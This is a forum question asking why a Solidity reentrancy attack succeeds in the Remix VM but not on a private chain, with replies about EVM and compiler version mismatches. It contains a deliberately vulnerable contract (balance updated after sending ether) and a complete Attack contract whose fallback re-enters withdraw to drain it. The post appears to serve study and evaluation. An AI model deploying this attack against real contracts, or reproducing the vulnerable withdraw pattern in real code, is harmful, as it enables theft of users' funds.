2

I ran same victim and attack codes in remix VM, and private chain connected with metamask and remix. But, the attack successed in remix vm not in private. I inserted flag to mark which step is wrong, which shows, the fallback function in the attack contracts doesn't be executed. I cannot figure it out, please help me!. Codes are as following:

pragma solidity ^0.4.19;
 
contract IDMoney{
    address _owner;
    mapping (address => uint256) balances;
    function IDMoney() {
        _owner = msg.sender; 
    }
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }
    function withdraw(address to, uint256 amount) public payable {
        require(balances[msg.sender] >= amount);
        require(this.balance >= amount);
         
        to.call.value(amount)();
        balances[msg.sender] -= amount;
    }
    function balanceof(address to) constant returns(uint256){
        return balances[to];
    }
}
 
contract Attack {
    address owner;
    address victim;
    IDMoney idmoney;
    modifier ownerOnly { require(owner == msg.sender); _; }
     
    function Attack() payable { owner = msg.sender; }

    function setVictim(address target) ownerOnly { victim = target;  idmoney = IDMoney(target);}
     
    // deposit Ether to IDMoney deployed
    function step1(uint256 amount) ownerOnly payable {
        if (this.balance > amount) {
           victim.call.value(amount)(bytes4(keccak256("deposit()")));
        }
    }
    // withdraw Ether from IDMoney deployed
    function step2(uint256 amount) ownerOnly {
       idmoney.withdraw(address(this), amount);
    }
    // selfdestruct, send all balance to owner
    function stopAttack() ownerOnly {
        selfdestruct(owner);
    }
 
    function startAttack(uint256 amount) ownerOnly {
        step1(amount);
        step2(amount / 2);
    }
 
    function () public payable {
      idmoney.withdraw(address(this), msg.value);5;
    }
}

To sum up, the problem is how to reproduce reentrancy attack successfully in private chain?

  • 1
    Have you tried to update the code to the latest Solidity version? What version are you using in your private chain? – alberto Oct 19 at 7:37
  • What error did you get? It shouldn't work on remix because the recursion onto withdraw doesn't stop. It will run out of gas or out of money. – Ismael Oct 21 at 13:18
  • @alberto Now I use 0.4.26. After listing to your suggestions, i switched to 0.7.4. However, the constructor function that declared by `constructor()' will cause that the contract deployment fail, reporting "gas required exceeds allowance (8000000) or always failing transaction", which is so weird ! – Jocelyn Oct 21 at 14:43
  • @Ismael I didn't get any error, but i cannot use above codes to reproduce reentrancy attacks in my private chain(remix + metamask + private chain). However, i successfully reproduce the attack in remix local environment JVM. I want to implement reentrancy attacks in my private chain to do evaluations – Jocelyn Oct 21 at 14:47
  • 1
    @Jocelyn If you are able to reproduce the reentrancy in Remix and not in your private chain, the error might be produced because the version of the EVM is not the same (remix and private chain). Try changing in Remix, on the compiler tab, to the same version of the EVM version you have on your private chain. – alberto Oct 21 at 16:25

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.